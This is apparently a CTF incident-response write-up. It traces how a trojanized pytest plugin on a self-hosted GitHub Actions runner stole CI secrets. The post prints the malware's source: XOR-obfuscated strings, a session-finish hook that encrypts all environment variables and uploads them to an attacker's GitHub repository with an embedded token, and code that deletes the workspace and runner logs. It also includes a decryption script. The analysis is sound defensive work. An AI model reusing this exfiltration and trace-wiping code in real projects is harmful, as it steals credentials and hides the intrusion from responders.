Skip to content

Wiz The Ultimate Cloud Security Championship: Trust Issues


Arbaaz Jamadar
Written by
Arbaaz Jamadar
Cloud Security Engineer | OSCP | AWS Security Specialty | CySA+ | Threat Detection & Incident Response

image.png

You are an incident responder at Acme Inc.

A security researcher contacts your team with concerning news: Acme’s name has appeared in a newly uncovered threat campaign. They provide a link to a public GitHub repository believed to be used by the attacker to leak stolen data:

Stolen Sparkles

You begin your investigation with the suspected compromised machine.

We have been given a snapshot of a compromised Actions Runner, the goal is to discover the way attacker exfiltrated the data.

Initial Analysis:

  1. The machine is a self hosted GitHub runner:

    cat /home/ubuntu/.config/GitHub/ActionsService/8.0/Cache/LocaltionServerMap.xml 

    image.png

    image.png

    image.png

    image.png

  2. The repository for the application was determined via the actions logs stored on the runner /home/ubuntu/actions-runner/_diag/Runner_20260201-200609-utc.log

    image.png

  3. The runner performs actions on k8s-magic-tool

    k8s-magic-tools
  4. As per the actions template unit tests are run everytime using pytest after authenticating with the cluster:

    name: k8s-magic inventory tests
    
    on: 
      workflow_dispatch:
    
    jobs:
      inventory-test:
        runs-on: self-hosted
    
        env:
          GOOGLE_APPLICATION_CREDENTIALS: /tmp/gcp-key.json
          KUBECONFIG: /tmp/kubeconfig
          GCP_PROJECT_ID: ${{ vars.GCP_PROJECT_ID }}
    
        steps:
          - name: Checkout repository
            uses: actions/checkout@v4
    
          - name: Write GCP credentials
            run: |
              echo '${{ secrets.GKE_SA_KEY }}' | base64 -d > "$GOOGLE_APPLICATION_CREDENTIALS"
              chmod 600 "$GOOGLE_APPLICATION_CREDENTIALS"
    
          - name: Install dependencies
            run: |
              sudo apt update
              python3 -m pip install --upgrade pip
              pip install -r requirements.txt
              pip install --upgrade --force-reinstall pytest
    
          - name: Authenticate to GCP
            run: |
              gcloud auth activate-service-account --key-file="$GOOGLE_APPLICATION_CREDENTIALS"
              gcloud config set project "$GCP_PROJECT_ID"
    
          - name: Authenticate to GKE
            run: |
              gcloud container clusters get-credentials k8s-magic-cluster --region us-central1
    
          - name: Run pytest
            if: always()
            run: |
              python3 -m pytest -v --tb=line
    
          - name: Cleanup credentials
            if: always()
            run: |
              gcloud auth revoke --all || true
              rm -rf ~/.config/gcloud
              rm -f "$GOOGLE_APPLICATION_CREDENTIALS"
              rm -f "$KUBECONFIG"
              rm -f /tmp/gke_gcloud_auth_plugin_cache 
  5. The k8s-magic-tool has two package dependencies:

    kubernetes>=28.1.0
    pytest>=7.4.0

    image.png

  6. The pytest package is installed locally /home/ubuntu/.local/lib/python3.10/site-packages/pytest

    find / -name "pytest" 2>/dev/null

    image.png

  7. On further analysis pytest imports functions from _pytest at the time of initialization:

    image.png

    cat __init__.py

    image.png

  8. The _pytest package is also installed in the same site-packages directory /home/ubuntu/.local/lib/python3.10/site-packages/_pytest :

    image.png

  9. There is a very unusually python file named veryveryverymalicious.py in _pytest package, on further investigation on this malicious file, it is visible that this python file is responsible for performing the data exfiltration

#def _s(data, k=17):
#    return "".join(chr(x ^ k) for x in data)

#import os
#import json
#import base64
#import requests
#import shutil
#import importlib
# the `_s` function is used to bypass detection
# importlib is used to load modules dynamically so that they are not flagged by EDR's
#mod = importlib.import_module(_s([114, 99, 104, 97, 101, 126, 118, 99, 112, 97, 121, 104, 63, 119, 116, 99, 127, 116, 101]))
#cryptography algorithm to use for encryption/decryption ""
#Crypto = getattr(mod, _s([87, 116, 99, 127, 116, 101]))

# key used to encrypt/decrypt data "0x530x6b0x5f0x4c0x590x560x740x540x340x420x4d0x430x340x4a0x370x310x450x350x630x760x610x440x4c0x6f0x480x330x4a0x490x550x370x660x300x330x510x750x620x450x520x710x380x7a0x6f0x510x3d"
#CRYPT_KEY = _s([66, 122, 78, 93, 72, 71, 101, 69, 37, 83, 92, 82, 37, 91, 38,
#                    32, 84, 36, 114, 103, 112, 85, 93, 126, 89, 34, 91, 88, 68, 38, 
#                    119, 33, 34, 64, 100, 115, 84, 67, 96, 41, 107, 126, 64, 44]).encode()
# Github personal access token (to upload data to the repository)
#GITHUB_PAT = _s([118, 120, 101, 121, 100, 115, 78, 97, 112, 101, 78, 32, 32,
#                83, 37, 39, 69, 38, 75, 88, 33, 41, 114, 83, 82, 118, 82, 120, 88, 
#                104, 120, 95, 105, 78, 90, 67, 107, 68, 67, 85, 92, 107, 94, 96, 35,
#                107, 126, 87, 36, 105, 118, 116, 102, 123, 92, 34, 107, 112, 86, 119,
#                83, 94, 75, 39, 97, 41, 32, 75, 89, 97, 35, 72, 102, 68, 103, 120, 101, 
#                86, 84, 92, 90, 72, 66, 39, 35, 89, 85, 116, 83, 119, 69, 114, 86])
# Name of the attacker 'm4gicst34l3r'
#REPO_OWNER = _s([124, 37, 118, 120, 114, 98, 101, 34, 37, 125, 34, 99])
# repo name to upload to 'stolen-sparkles'
#REPO_NAME = _s([98, 101, 126, 125, 116, 127, 60, 98, 97, 112, 99, 122, 125, 116, 98])
#branch to commit to 'main'
#BRANCH = _s([124, 112, 120, 127])
# extract the runner name 'magic-runner-acme'
#runner = os.environ["RUNNER_NAME"]
# The suffix decodes to 'secret'
#SUFFIX = _s([98, 116, 114, 99, 116, 101])
# the artifact path is 'magic-runner-acme.secret'
#ARTIFACT_PATH = f"{runner}.{SUFFIX}"
# Commit message 'update runtime data'
#COMMIT_MESSAGE = _s([100, 97, 117, 112, 101, 116, 49, 99, 100, 127, 101, 120, 124, 116, 49, 117, 112, 101, 112])

# collect environment variables and their values
#def collect_data():
#    return {
#        "environment_variables": dict(os.environ)
#    }

# encrypt the data using the crypt key 
#def encrypt_data(data: dict) -> bytes:
#    f = Crypto(CRYPT_KEY)
#    plaintext = json.dumps(data).encode()
#    return f.encrypt(plaintext)

# return sha hash for already existing file
#def get_existing_file_sha(url, headers):
#    r = requests.get(url, headers=headers)
#    if r.status_code == 200:
#        return r.json().get("sha")
#    return None

# upload the encrypted data to the github repo, in case there exists a similar file upload the new file with the existing files sha hashdef upload_to_repo(encrypted_blob: bytes):
#    api_url = (
#        f"https://api.github.com/repos/"
#        f"{REPO_OWNER}/{REPO_NAME}/contents/data/{ARTIFACT_PATH}"
#    )

#    headers = {
#        "Authorization": f"token {GITHUB_PAT}",
#        "Accept": "application/vnd.github+json"
#    }

#    payload = {
#        "message": COMMIT_MESSAGE,
#        "content": base64.b64encode(encrypted_blob).decode(),
#        "branch": BRANCH
#    }

#    sha = get_existing_file_sha(api_url, headers)
#    if sha:
#        payload["sha"] = sha

#    r = requests.put(api_url, headers=headers, json=payload)
#    r.raise_for_status()

# https://docs.pytest.org/en/7.1.x/_modules/_pytest/hookspec.html#pytest_sessionfinish
# Called after whole test run finished, right before returning the exit status to the system.
#def pytest_sessionfinish(session, exitstatus):
#    data = collect_data()
#    encrypted_blob = encrypt_data(data)
#    upload_to_repo(encrypted_blob)
#    try:
#        os.chdir("/")
#    except Exception:
#        pass

#    #deleting traces!
#    workspace = os.environ["GITHUB_WORKSPACE"]
#    diag = os.path.abspath(os.path.join(workspace, "../../../_diag"))

#    for name in os.listdir(workspace):
#        p = os.path.join(workspace, name)
#        shutil.rmtree(p, ignore_errors=True) if os.path.isdir(p) else os.remove(p)

#    for name in os.listdir(diag):
#        if name.startswith("Worker_"):
#            os.remove(os.path.join(diag, name))
![image.png](/writeups/Wiz/ts/10.png)
  1. The veryveryverymalicious.py code, runs at the end of a pytest session :

    1. Collects all the environment variables in a form of dictionary.
    2. Encrypts the dictionary using the Fernet cryptography suite and the secret key. Fernet is a symmetric encryption method implemented in Python’s cryptography library that guarantees a message cannot be manipulated or read without the key.
    3. Uploads it to the attackers (m4gicst34l3r) GitHub repository https://api.github.com/repos/m4gicst34l3r/stolen-sparkles/contents/data/ with filename magic-runner-acme.secret
    4. After uploading data, it changes directory to the root of the directory and then tries to delete the workspace and the logs from _diag in the the self hosted runner.
  2. The veryveryverymalicious.py is added as a plugin in _pytest/main.py which means that when the pytest module is run, it will automatically run the veryveryverymalicious.py as well resulting in data exfil, as the pytest is triggered always in the actions template.

    grep -irn "veryveryverymalicious" /home/ubuntu/.local/lib/python3.10/site-packages/_pytest/*

    image.png

  3. We can decrypt the exfiltrated data by modifying the veryveryverymalicious.py :

    1. As of now we are only concerned with the magic-runner-acme so we can modify the code to only decrypt the file magic-runner-acme.secret

      def _s(data, k=17):
          return "".join(chr(x ^ k) for x in data)
      
      import os
      import json
      import base64
      import requests
      import shutil
      import importlib
      import sys
      import re
      
      mod = importlib.import_module(_s([114, 99, 104, 97, 101, 126, 118, 99, 112, 97, 121, 104, 63, 119, 116, 99, 127, 116, 101]))
      Crypto = getattr(mod, _s([87, 116, 99, 127, 116, 101]))
      CRYPT_KEY = _s([66, 122, 78, 93, 72, 71, 101, 69, 37, 83, 92, 82, 37, 91, 38, 32, 84, 36, 114, 103, 112, 85, 93, 126, 89, 34, 91, 88, 68, 38, 119, 33, 34, 64, 100, 115, 84, 67, 96, 41, 107, 126, 64, 44]).encode()
      
      def decrypt_data(data, ogname, output_dir: str = "decrypted_output") -> bytes:
          os.makedirs(output_dir, exist_ok=True)
          f = Crypto(CRYPT_KEY)
          ciphertext = json.dumps(data).encode()
          decrypted = f.decrypt(ciphertext)
          parsed = json.loads(decrypted.decode())
          filename = (os.path.splitext(ogname)[0] + ".json")
          file_path = os.path.join(output_dir, filename)
          with open(file_path, "w", encoding="utf-8") as f_out:
              json.dump(parsed, f_out, indent=2)
          print(f"[Saved] {file_path}")
          return decrypted
      
      def read_files_in_directory(directory_path: str) -> None:
          if not os.path.exists(directory_path):
              raise FileNotFoundError(f"Directory not found: {directory_path}")
          if not os.path.isdir(directory_path):
              raise NotADirectoryError(f"Path is not a directory: {directory_path}")
          for filename in os.listdir(directory_path):
              file_path = os.path.join(directory_path, filename)
              if not os.path.isfile(file_path):
                  continue
              if re.match(r'^magic-runner', filename):
                  print(f"\nReading file: {filename}")
                  with open(file_path, "r", encoding="utf-8") as f:
                    decrypt_data(f.read(),filename)
      
      if __name__ == "__main__":
          if len(sys.argv) != 2:
              sys.exit(1)
          read_files_in_directory(sys.argv[1])

      image.png

      image.png

Conclusion:

  1. The attacker infiltrated the environment via supply chain vulnerability, the pytest package was installed from a public directory.
  2. The attacker was able to commit malicious code to the pytest package.
  3. The attacker was successful in evading detection using obfuscation and encryption to exfiltrate the stolen data.

Remediations:

  1. Rotate the google credentials cluster.
  2. Update the pytest package to fully verified pytest package.

Mitigations:

  1. Maintain a Software Bill of Materials (SBOM) to track dependencies and use continuous security monitoring to detect suspicious changes or vulnerabilities in real-time.
  2. JFrog Artifactory acts as a controlled gateway for all your software artifacts. Instead of builds pulling packages directly from public registries (npm, PyPI, Docker Hub, etc.), everything flows through Artifactory first, giving you visibility, control, and security checks at a single chokepoint.

image.png